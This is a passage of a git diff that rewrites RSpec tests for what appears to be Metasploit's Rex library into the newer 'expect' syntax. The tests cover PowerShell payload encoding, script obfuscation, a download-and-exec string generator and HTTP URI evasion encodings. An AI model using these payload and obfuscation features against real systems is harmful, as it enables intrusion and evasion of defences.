subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection') - decompress(code).include?('GlobalAssemblyCache').should be_truthy + expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy end end @@ -244,7 +244,7 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end @@ -256,14 +256,14 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end context 'when encode_inner_payload' do it 'should contain an inner payload with -e' do code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method) - code.include?(' -e ').should be_truthy + expect(code.include?(' -e ')).to be_truthy end context 'when no_equals is true' do @@ -274,7 +274,7 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -283,16 +283,16 @@ RSpec.describe Rex::Powershell::Command do context 'when no_equals is false' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey end end context 'when no_equals is true' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey - code.include?('=').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey + expect(code.include?('=')).to be_falsey end end context 'when encode_inner_payload is true' do @@ -303,7 +303,7 @@ RSpec.describe Rex::Powershell::Command do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -311,14 +311,14 @@ RSpec.describe Rex::Powershell::Command do context 'when remove_comspec' do it 'shouldnt contain %COMSPEC%' do code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method) - code.include?('%COMSPEC%').should be_falsey + expect(code.include?('%COMSPEC%')).to be_falsey end end context 'when use single quotes' do it 'should wrap in single quotes' do code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method) - code.include?(' -c \'').should be_truthy + expect(code.include?(' -c \'')).to be_truthy end end end @@ -327,33 +327,33 @@ RSpec.describe Rex::Powershell::Command do it 'should contain no full stop when :no_full_stop' do opts = {:no_full_stop => true} command = subject.generate_psh_command_line(opts) - command.include?("powershell ").should be_truthy + expect(command.include?("powershell ")).to be_truthy end it 'should contain full stop unless :no_full_stop' do opts = {} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy opts = {:no_full_stop => false} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy end it 'should ensure the path should always ends with \\' do opts = {:path => "test"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy opts = {:path => "test\\"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy end end describe "::generate_psh_args" do it 'should return empty string for nil opts' do - subject.generate_psh_args(nil).should eql "" + expect(subject.generate_psh_args(nil)).to eql "" end command_args = [[:encodedcommand, "parp"], @@ -387,16 +387,16 @@ RSpec.describe Rex::Powershell::Command do short_args.should_not be_nil long_args.should_not be_nil - short_args.count('-').should eql opt_length - long_args.count('-').should eql opt_length + expect(short_args.count('-')).to eql opt_length + expect(long_args.count('-')).to eql opt_length short_args[0].should_not eql " " long_args[0].should_not eql " " short_args[-1].should_not eql " " long_args[-1].should_not eql " " if opts[:command] - long_args[-10..-1].should eql "-Command Z" - short_args[-4..-1].should eql "-c Z" + expect(long_args[-10..-1]).to eql "-Command Z" + expect(short_args[-4..-1]).to eql "-c Z" end end end diff --git a/spec/lib/rex/powershell/function_spec.rb b/spec/lib/rex/powershell/function_spec.rb index 8af62718fd..a40495f374 100644 --- a/spec/lib/rex/powershell/function_spec.rb +++ b/spec/lib/rex/powershell/function_spec.rb @@ -60,24 +60,24 @@ RSpec.describe Rex::Powershell::Function do describe "::initialize" do it 'should handle a function without params' do function = Rex::Powershell::Function.new(function_name, example_function_without_params) - function.name.should eq function_name - function.code.should eq example_function_without_params - function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy - function.params.should be_kind_of Array - function.params.empty?.should be_truthy + expect(function.name).to eq function_name + expect(function.code).to eq example_function_without_params + expect(function.to_s.include?("function #{function_name} #{example_function_without_params}")).to be_truthy + expect(function.params).to be_kind_of Array + expect(function.params.empty?).to be_truthy end it 'should handle a function with params' do function = Rex::Powershell::Function.new(function_name, example_function_with_params) - function.name.should eq function_name - function.code.should eq example_function_with_params - function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy - function.params.should be_kind_of Array - function.params.length.should be == 5 - function.params[0].klass.should eq 'Type[]' - function.params[0].name.should eq 'Parameters' - function.params[1].klass.should eq 'Type' - function.params[1].name.should eq 'ReturnType' + expect(function.name).to eq function_name + expect(function.code).to eq example_function_with_params + expect(function.to_s.include?("function #{function_name} #{example_function_with_params}")).to be_truthy + expect(function.params).to be_kind_of Array + expect(function.params.length).to be == 5 + expect(function.params[0].klass).to eq 'Type[]' + expect(function.params[0].name).to eq 'Parameters' + expect(function.params[1].klass).to eq 'Type' + expect(function.params[1].name).to eq 'ReturnType' end end diff --git a/spec/lib/rex/powershell/obfu_spec.rb b/spec/lib/rex/powershell/obfu_spec.rb index a56376c7d2..51e5cd5c86 100644 --- a/spec/lib/rex/powershell/obfu_spec.rb +++ b/spec/lib/rex/powershell/obfu_spec.rb @@ -144,88 +144,88 @@ lots \t of whitespace describe "::strip_comments" do it 'should strip a multiline comment' do subject.strip_comments - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('comment').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('comment')).to be_falsey end it 'should strip a single line comment' do subject.strip_comments - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('#').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('#')).to be_falsey end end describe "::strip_empty_lines" do it 'should strip extra windows new lines' do subject.strip_empty_lines - subject.code.should be - subject.code.should be_kind_of String + expect(subject.code).to be + expect(subject.code).to be_kind_of String res = (subject.code =~ /\r\n\r\n/) - res.should be_falsey + expect(res).to be_falsey end it 'should strip extra unix new lines' do subject.strip_empty_lines - subject.code.should be - subject.code.should be_kind_of String + expect(subject.code).to be + expect(subject.code).to be_kind_of String res = (subject.code =~ /\n\n/) - res.should be_falsey + expect(res).to be_falsey end end describe "::strip_whitespace" do it 'should strip additional whitespace' do subject.strip_whitespace - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('lots of whitespace').should be_truthy + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('lots of whitespace')).to be_truthy end end describe "::sub_vars" do it 'should replace variables with unique names' do subject.sub_vars - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('$kernel32').should be_falsey - subject.code.include?('$Logon').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('$kernel32')).to be_falsey + expect(subject.code.include?('$Logon')).to be_falsey end end describe "::sub_funcs" do it 'should replace functions with unique names' do subject.sub_funcs - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('Find-4624Logons').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('Find-4624Logons')).to be_falsey end end describe "::standard_subs" do it 'should run all substitutions on a script with no literals' do subject_no_literal.standard_subs - subject_no_literal.code.should be - subject_no_literal.code.should be_kind_of String - subject_no_literal.code.include?('Find-4624Logons').should be_falsey - subject_no_literal.code.include?('lots of whitespace').should be_truthy - subject_no_literal.code.include?('$kernel32').should be_falsey - subject_no_literal.code.include?('comment').should be_falsey + expect(subject_no_literal.code).to be + expect(subject_no_literal.code).to be_kind_of String + expect(subject_no_literal.code.include?('Find-4624Logons')).to be_falsey + expect(subject_no_literal.code.include?('lots of whitespace')).to be_truthy + expect(subject_no_literal.code.include?('$kernel32')).to be_falsey + expect(subject_no_literal.code.include?('comment')).to be_falsey res = (subject_no_literal.code =~ /\r\n\r\n/) - res.should be_falsey + expect(res).to be_falsey end it 'should run all substitutions except strip whitespace when literals are present' do subject.standard_subs - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('Find-4624Logons').should be_falsey - subject.code.include?('lots of whitespace').should be_falsey - subject.code.include?('$kernel32').should be_falsey - subject.code.include?('comment').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('Find-4624Logons')).to be_falsey + expect(subject.code.include?('lots of whitespace')).to be_falsey + expect(subject.code.include?('$kernel32')).to be_falsey + expect(subject.code.include?('comment')).to be_falsey res = (subject.code =~ /\r\n\r\n/) - res.should be_falsey + expect(res).to be_falsey end end end diff --git a/spec/lib/rex/powershell/output_spec.rb b/spec/lib/rex/powershell/output_spec.rb index db535640e9..e2d95c3dc0 100644 --- a/spec/lib/rex/powershell/output_spec.rb +++ b/spec/lib/rex/powershell/output_spec.rb @@ -19,75 +19,75 @@ RSpec.describe Rex::Powershell::Output do describe "::to_s" do it 'should print the script' do - subject.to_s.should eq example_script + expect(subject.to_s).to eq example_script end end describe "::size" do it 'should return the size of the script' do - subject.size.should eq example_script.size + expect(subject.size).to eq example_script.size end end describe "::to_s_lineno" do it 'should print the script with line numbers' do - subject.to_s_lineno.should eq "0: #{example_script}" + expect(subject.to_s_lineno).to eq "0: #{example_script}" end end describe "::deflate_code" do it 'should zlib the code and wrap in powershell in uncompression stub' do compressed = subject.deflate_code - compressed.include?('IO.Compression.DeflateStream').should be_truthy + expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ - $1.size.should be < Rex::Text.encode_base64(example_script).size - compressed.should eq subject.code + expect($1.size).to be < Rex::Text.encode_base64(example_script).size + expect(compressed).to eq subject.code end it 'should append an eof marker if specified' do compressed = subject.deflate_code(eof) - compressed.include?("echo '#{eof}';").should be_truthy + expect(compressed.include?("echo '#{eof}';")).to be_truthy end end describe "::encode_code" do it 'should base64 encode the code' do encoded = subject.encode_code - encoded.should eq subject.code + expect(encoded).to eq subject.code encoded =~ /^([A-Za-z0-9\/+=]+)$/ - $1.size.should eq encoded.size + expect($1.size).to eq encoded.size end end describe "::gzip_code" do it 'should gzip the code and wrap in powershell in uncompression stub' do compressed = subject.gzip_code - compressed.include?('IO.Compression.GzipStream').should be_truthy + expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ - $1.size.should be < Rex::Text.encode_base64(example_script).size - compressed.should eq subject.code + expect($1.size).to be < Rex::Text.encode_base64(example_script).size + expect(compressed).to eq subject.code end it 'should append an eof marker if specified' do compressed = subject.gzip_code(eof) - compressed.include?("echo '#{eof}';").should be_truthy + expect(compressed.include?("echo '#{eof}';")).to be_truthy end end describe "::compress_code" do it 'should gzip by default' do compressed = subject.compress_code - compressed.include?('IO.Compression.GzipStream').should be_truthy + expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy end it 'should deflate if gzip is false' do compressed = subject.compress_code(nil,false) - compressed.include?('IO.Compression.DeflateStream').should be_truthy + expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy end it 'should append an eof' do compressed = subject.compress_code(eof) - compressed.include?("echo '#{eof}';").should be_truthy + expect(compressed.include?("echo '#{eof}';")).to be_truthy end end @@ -95,20 +95,20 @@ RSpec.describe Rex::Powershell::Output do it 'should locate the base64 string and decompress it when deflate is used' do compressed = subject.compress_code(nil, false) decompressed = subject.decompress_code - decompressed.should eq example_script + expect(decompressed).to eq example_script end it 'should locate the base64 string and decompress it when gzip is used' do compressed = subject.compress_code decompressed = subject.decompress_code - decompressed.should eq example_script + expect(decompressed).to eq example_script end it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do corrupted = "FromBase64String('parp')" subject.code = corrupted expect { subject.decompress_code }.to raise_error(RuntimeError) - subject.code.should eq corrupted + expect(subject.code).to eq corrupted end end end diff --git a/spec/lib/rex/powershell/param_spec.rb b/spec/lib/rex/powershell/param_spec.rb index da7cc4e8dd..741817e6a4 100644 --- a/spec/lib/rex/powershell/param_spec.rb +++ b/spec/lib/rex/powershell/param_spec.rb @@ -16,10 +16,10 @@ RSpec.describe Rex::Powershell::Param do describe "::initialize" do it 'should create a param' do param = Rex::Powershell::Param.new(klass_name, param_name) - param.should be - param.name.should eq param_name - param.klass.should eq klass_name - param.to_s.include?("[#{klass_name}]$#{param_name}").should be_truthy + expect(param).to be + expect(param.name).to eq param_name + expect(param.klass).to eq klass_name + expect(param.to_s.include?("[#{klass_name}]$#{param_name}")).to be_truthy end end diff --git a/spec/lib/rex/powershell/parser_spec.rb b/spec/lib/rex/powershell/parser_spec.rb index 086b653ff4..e7d9a705b0 100644 --- a/spec/lib/rex/powershell/parser_spec.rb +++ b/spec/lib/rex/powershell/parser_spec.rb @@ -64,10 +64,10 @@ function Find-4624Logons describe "::get_var_names" do it 'should return some variable names' do vars = subject.get_var_names - vars.should be - vars.should be_kind_of Array - vars.length.should be > 0 - vars.include?('$ResultObj').should be_truthy + expect(vars).to be + expect(vars).to be_kind_of Array + expect(vars.length).to be > 0 + expect(vars.include?('$ResultObj')).to be_truthy end it 'should not match upper or lowercase reserved names' do @@ -76,48 +76,48 @@ function Find-4624Logons subject.code << "\r\n$ShellId" subject.code << "\r\n$shellid" after_vars = subject.get_var_names - initial_vars.should eq after_vars + expect(initial_vars).to eq after_vars end end describe "::get_func_names" do it 'should return some function names' do funcs = subject.get_func_names - funcs.should be - funcs.should be_kind_of Array - funcs.length.should be > 0 - funcs.include?('Find-4624Logons').should be_truthy + expect(funcs).to be + expect(funcs).to be_kind_of Array + expect(funcs.length).to be > 0 + expect(funcs.include?('Find-4624Logons')).to be_truthy end end describe "::get_string_literals" do it 'should return some string literals' do literals = subject.get_string_literals - literals.should be - literals.should be_kind_of Array - literals.length.should be > 0 - literals[0].include?('parp').should be_falsey + expect(literals).to be + expect(literals).to be_kind_of Array + expect(literals.length).to be > 0 + expect(literals[0].include?('parp')).to be_falsey end end describe "::scan_with_index" do it 'should scan code and return the items with an index' do scan = subject.scan_with_index('DllImport') - scan.should be - scan.should be_kind_of Array - scan.length.should be > 0 - scan[0].should be_kind_of Array - scan[0][0].should be_kind_of String - scan[0][1].should be_kind_of Integer + expect(scan).to be + expect(scan).to be_kind_of Array + expect(scan.length).to be > 0 + expect(scan[0]).to be_kind_of Array + expect(scan[0][0]).to be_kind_of String + expect(scan[0][1]).to be_kind_of Integer end end describe "::match_start" do it 'should match the correct brackets' do - subject.match_start('{').should eq '}' - subject.match_start('(').should eq ')' - subject.match_start('[').should eq ']' - subject.match_start('<').should eq '>' + expect(subject.match_start('{')).to eq '}' + expect(subject.match_start('(')).to eq ')' + expect(subject.match_start('[')).to eq ']' + expect(subject.match_start('<')).to eq '>' expect { subject.match_start('p') }.to raise_exception(ArgumentError) end end @@ -126,8 +126,8 @@ function Find-4624Logons it 'should extract a block between brackets given an index' do idx = subject.code.index('{') block = subject.block_extract(idx) - block.should be - block.should be_kind_of String + expect(block).to be + expect(block).to be_kind_of String end it 'should raise a runtime error if given an invalid index' do @@ -141,18 +141,18 @@ function Find-4624Logons describe "::get_func" do it 'should extract a function from the code' do function = subject.get_func('Find-4624Logons') - function.should be - function.should be_kind_of Rex::Powershell::Function + expect(function).to be + expect(function).to be_kind_of Rex::Powershell::Function end it 'should return nil if function doesnt exist' do function = subject.get_func(Rex::Text.rand_text_alpha(5)) - function.should be_nil + expect(function).to be_nil end it 'should delete the function if delete is true' do function = subject.get_func('Find-4624Logons', true) - subject.code.include?('DllImport').should be_falsey + expect(subject.code.include?('DllImport')).to be_falsey end end end diff --git a/spec/lib/rex/powershell/psh_methods_spec.rb b/spec/lib/rex/powershell/psh_methods_spec.rb index ddfa717e17..cd65c474b9 100644 --- a/spec/lib/rex/powershell/psh_methods_spec.rb +++ b/spec/lib/rex/powershell/psh_methods_spec.rb @@ -8,45 +8,45 @@ RSpec.describe Rex::Powershell::PshMethods do describe "::download" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.download('a','b') - script.should be - script.include?('WebClient').should be_truthy + expect(script).to be + expect(script.include?('WebClient')).to be_truthy end end describe "::uninstall" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.uninstall('a') - script.should be - script.include?('Win32_Product').should be_truthy + expect(script).to be + expect(script.include?('Win32_Product')).to be_truthy end end describe "::secure_string" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.secure_string('a') - script.should be - script.include?('AsPlainText').should be_truthy + expect(script).to be + expect(script.include?('AsPlainText')).to be_truthy end end describe "::who_locked_file" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.who_locked_file('a') - script.should be - script.include?('Get-Process').should be_truthy + expect(script).to be + expect(script.include?('Get-Process')).to be_truthy end end describe "::get_last_login" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.get_last_login('a') - script.should be - script.include?('Get-QADComputer').should be_truthy + expect(script).to be + expect(script.include?('Get-QADComputer')).to be_truthy end end describe "::proxy_aware_download_and_exec_string" do it 'should return some powershell' do url = 'http://blah' script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) - script.should be - script.include?(url).should be_truthy - script.downcase.include?('downloadstring').should be_truthy + expect(script).to be + expect(script.include?(url)).to be_truthy + expect(script.downcase.include?('downloadstring')).to be_truthy end end end diff --git a/spec/lib/rex/powershell/script_spec.rb b/spec/lib/rex/powershell/script_spec.rb index c770070c9c..47b723842b 100644 --- a/spec/lib/rex/powershell/script_spec.rb +++ b/spec/lib/rex/powershell/script_spec.rb @@ -15,32 +15,32 @@ RSpec.describe Rex::Powershell::Output do describe "::initialize" do it 'should create a new script object' do - subject.should be - subject.should be_kind_of Rex::Powershell::Script - subject.rig.should be - subject.rig.should be_kind_of Rex::RandomIdentifierGenerator - subject.code.should be - subject.code.should be_kind_of String - subject.code.empty?.should be_falsey - subject.functions.empty?.should be_truthy + expect(subject).to be + expect(subject).to be_kind_of Rex::Powershell::Script + expect(subject.rig).to be + expect(subject.rig).to be_kind_of Rex::RandomIdentifierGenerator + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.empty?).to be_falsey + expect(subject.functions.empty?).to be_truthy end end describe "::to_byte_array" do it 'should generate a powershell byte array' do byte_array = Rex::Powershell::Script.to_byte_array("parp") - byte_array.should be - byte_array.should be_kind_of String - byte_array.include?('[Byte[]] $').should be_truthy + expect(byte_array).to be + expect(byte_array).to be_kind_of String + expect(byte_array.include?('[Byte[]] $')).to be_truthy end end describe "::code_modifiers" do it 'should return an array of modifier methods' do mods = Rex::Powershell::Script.code_modifiers - mods.should be - mods.should be_kind_of Array - mods.empty?.should be_falsey + expect(mods).to be + expect(mods).to be_kind_of Array + expect(mods.empty?).to be_falsey end end diff --git a/spec/lib/rex/powershell_spec.rb b/spec/lib/rex/powershell_spec.rb index 7cc4276710..8fe0c28d86 100644 --- a/spec/lib/rex/powershell_spec.rb +++ b/spec/lib/rex/powershell_spec.rb @@ -24,22 +24,22 @@ DumpHashes""" describe "::read_script" do it 'should create a script from a string input' do script = described_class.read_script(example_script) - script.should be_a_kind_of Rex::Powershell::Script + expect(script).to be_a_kind_of Rex::Powershell::Script end end describe "::process_subs" do it 'should create an array of substitutions to process' do subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;") - subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] + expect(subs).to eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] end end describe "::make_subs" do it 'should substitute values in script' do script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) - script.include?('BitConverter').should be_falsey - script.include?('ParpConverter').should be_truthy + expect(script.include?('BitConverter')).to be_falsey + expect(script.include?('ParpConverter')).to be_truthy end end diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 0d60e84b94..8124e67200 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -23,8 +23,8 @@ RSpec.shared_context "with 'uri_dir_self_reference'" do end it "should have a self reference" do - client_request.send(:set_uri).should include("/./") - client_request.to_s.should include("/./") + expect(client_request.send(:set_uri)).to include("/./") + expect(client_request.to_s).to include("/./") end end @@ -35,8 +35,8 @@ RSpec.shared_context "with 'uri_dir_fake_relative'" do end it "should contain sequences of '../'" do - client_request.send(:set_uri).should include("../") - client_request.to_s.should include("../") + expect(client_request.send(:set_uri)).to include("../") + expect(client_request.to_s).to include("../") end end @@ -75,7 +75,7 @@ end RSpec.shared_examples "uri_full_url" do it "#set_uri should have the host in the URI" do - client_request.send(:set_uri).should start_with("http://#{host}/") + expect(client_request.send(:set_uri)).to start_with("http://#{host}/") end end @@ -215,12 +215,12 @@ RSpec.describe Rex::Proto::Http::ClientRequest do let(:encode_params) { false } it "should contain the unaltered params" do str = client_request.to_s - str.should include("foo[]=bar") - str.should include("bar=baz") - str.should include("frobnicate=the froozle?") - str.should include("foshizzle=my/nizzle") - str.should include("asdf&") - str.should include("test=") + expect(str).to include("foo[]=bar") + expect(str).to include("bar=baz") + expect(str).to include("frobnicate=the froozle?") + expect(str).to include("foshizzle=my/nizzle") + expect(str).to include("asdf&") + expect(str).to include("test=") end end @@ -229,12 +229,12 @@ RSpec.describe Rex::Proto::Http::ClientRequest do context "and 'uri_encode_mode' = default (hex-normal)" do it "should encode special chars" do str = client_request.to_s - str.should include("foo%5b%5d=bar") - str.should include("bar=baz") - str.should include("frobnicate=the%20froozle%3f") - str.should include("foshizzle=my/nizzle") - str.should include("asdf&") - str.should include("test=") + expect(str).to include("foo%5b%5d=bar") + expect(str).to include("bar=baz") + expect(str).to include("frobnicate=the%20froozle%3f") + expect(str).to include("foshizzle=my/nizzle") + expect(str).to include("asdf&") + expect(str).to include("test=") end end @@ -242,10 +242,10 @@ RSpec.describe Rex::Proto::Http::ClientRequest do let(:encode_mode) { 'hex-noslashes' } it "should encode all chars" do str = client_request.to_s - str.should include("%66%6f%6f%5b%5d=%62%61%72") - str.should include("%62%61%72=%62%61%7a") - str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") - str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79/%6e%69%7a%7a%6c%65") + expect(str).to include("%66%6f%6f%5b%5d=%62%61%72") + expect(str).to include("%62%61%72=%62%61%7a") + expect(str).to include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + expect(str).to include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79/%6e%69%7a%7a%6c%65") end end @@ -253,10 +253,10 @@ RSpec.describe Rex::Proto::Http::ClientRequest do let(:encode_mode) { 'hex-all' } it "should encode all chars" do str = client_request.to_s - str.should include("%66%6f%6f%5b%5d=%62%61%72") - str.should include("%62%61%72=%62%61%7a") - str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") - str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79%2f%6e%69%7a%7a%6c%65") + expect(str).to include("%66%6f%6f%5b%5d=%62%61%72") + expect(str).to include("%62%61%72=%62%61%7a") + expect(str).to include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + expect(str).to include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79%2f%6e%69%7a%7a%6c%65") end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 65e037b488..1cd665cbb6 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -44,27 +44,27 @@ RSpec.describe Rex::Proto::Http::Client do end it "should respond to intialize" do - cli.should be + expect(cli).to be end it "should have a set of default instance variables" do expect(cli.instance_variable_get(:@hostname)).to eq ip expect(cli.instance_variable_get(:@port)).to eq 80 expect(cli.instance_variable_get(:@context)).to eq {} - cli.instance_variable_get(:@ssl).should be_falsey - cli.instance_variable_get(:@proxies).should be_nil - cli.instance_variable_get(:@username).should be_empty - cli.instance_variable_get(:@password).should be_empty - cli.config.should be_a_kind_of Hash + expect(cli.instance_variable_get(:@ssl)).to be_falsey + expect(cli.instance_variable_get(:@proxies)).to be_nil + expect(cli.instance_variable_get(:@username)).to be_empty + expect(cli.instance_variable_get(:@password)).to be_empty + expect(cli.config).to be_a_kind_of Hash end it "should produce a raw HTTP request" do - cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest + expect(cli.request_raw).to be_a_kind_of Rex::Proto::Http::ClientRequest end it "should produce a CGI HTTP request" do req = cli.request_cgi - req.should be_a_kind_of Rex::Proto::Http::ClientRequest + expect(req).to be_a_kind_of Rex::Proto::Http::ClientRequest end context "with authorization" do @@ -84,13 +84,13 @@ RSpec.describe Rex::Proto::Http::Client do it "should have one Authorization header" do req = cli.request_cgi match = req.to_s.match("Authorization: Basic") - match.should be + expect(match).to be expect(match.length).to eq 1 end it "should prefer the value in the header" do req = cli.request_cgi match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be + expect(match).to be expect(match.captures.length).to eq 1 expect(match.captures[0].chomp).to eq base64 end @@ -129,7 +129,7 @@ RSpec.describe Rex::Proto::Http::Client do nil end expect(conn).to receive(:put) do |str_request| - str_request.should include("Authorization") + expect(str_request).to include("Authorization") nil end @@ -153,7 +153,7 @@ RSpec.describe Rex::Proto::Http::Client do end it "should be able to close a connection" do - cli.close.should be_nil + expect(cli.close).to be_nil end it "should send a request and receive a response", :skip => excuse_needs_connection do @@ -172,7 +172,7 @@ RSpec.describe Rex::Proto::Http::Client do skip "Should actually respond to :has_creds" do cli.should_not have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds + expect(this_cli).to have_creds end end @@ -198,37 +198,32 @@ RSpec.describe Rex::Proto::Http::Client do end it "should end a connection with a stop" do - cli.stop.should be_nil + expect(cli.stop).to be_nil end it "should test if a connection is valid" do - cli.conn?.should be_falsey + expect(cli.conn?).to be_falsey end it "should tell if pipelining is enabled" do cli.should_not be_pipelining this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) this_cli.pipeline = true - this_cli.should be_pipelining + expect(this_cli).to be_pipelining end it "should respond to its various accessors" do - cli.should respond_to :config - cli.should respond_to :config_types - cli.should respond_to :pipeline - cli.should respond_to :local_host - cli.should respond_to :local_port - cli.should respond_to :conn - cli.should respond_to :context - cli.should respond_to :proxies - cli.should respond_to :username - cli.should respond_to :password - cli.should respond_to :junk_pipeline - # These are protected. Why are they protected? Hysterical raisins. - #cli.should respond_to :ssl - #cli.should respond_to :ssl_version - #cli.should respond_to :hostname - #cli.should respond_to :port + expect(cli).to respond_to :config + expect(cli).to respond_to :config_types + expect(cli).to respond_to :pipeline + expect(cli).to respond_to :local_host + expect(cli).to respond_to :local_port + expect(cli).to respond_to :conn + expect(cli).to respond_to :context + expect(cli).to respond_to :proxies + expect(cli).to respond_to :username + expect(cli).to respond_to :password + expect(cli).to respond_to :junk_pipeline end # Not super sure why these are protected... diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 643475e48d..29e458d344 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -329,13 +329,13 @@ RSpec.describe Rex::Proto::Http::Response do it 'returns empty string for no Set-Cookies' do resp = described_class.new() resp.parse(get_cookies_test_no_cookies) - resp.get_cookies.should eq('') + expect(resp.get_cookies).to eq('') end it 'returns 5 cookies when given 5 cookies non-sequentially' do cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) - cookies_array.count.should eq(5) - cookies_array.should =~ %w( + expect(cookies_array.count).to eq(5) + expect(cookies_array).to =~ %w( pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D @@ -346,7 +346,7 @@ RSpec.describe Rex::Proto::Http::Response do it 'returns and parses 5 cookies when given 5 ordered cookies' do cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) - cookies_array.count.should eq(5) + expect(cookies_array.count).to eq(5) expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci @@ -355,12 +355,12 @@ RSpec.describe Rex::Proto::Http::Response do superC00kie!=stupidcookie } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end it 'parses an empty cookie value' do cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) - cookies_array.count.should eq(5) + expect(cookies_array.count).to eq(5) expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci @@ -369,31 +369,31 @@ RSpec.describe Rex::Proto::Http::Response do phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end it 'parses multiple cookies in one Set-Cookie header' do cookies_array = cookie_sanity_check(:get_cookies_test_one_set_cookie_header) - cookies_array.count.should eq(2) + expect(cookies_array.count).to eq(2) expected_cookies = %w{ 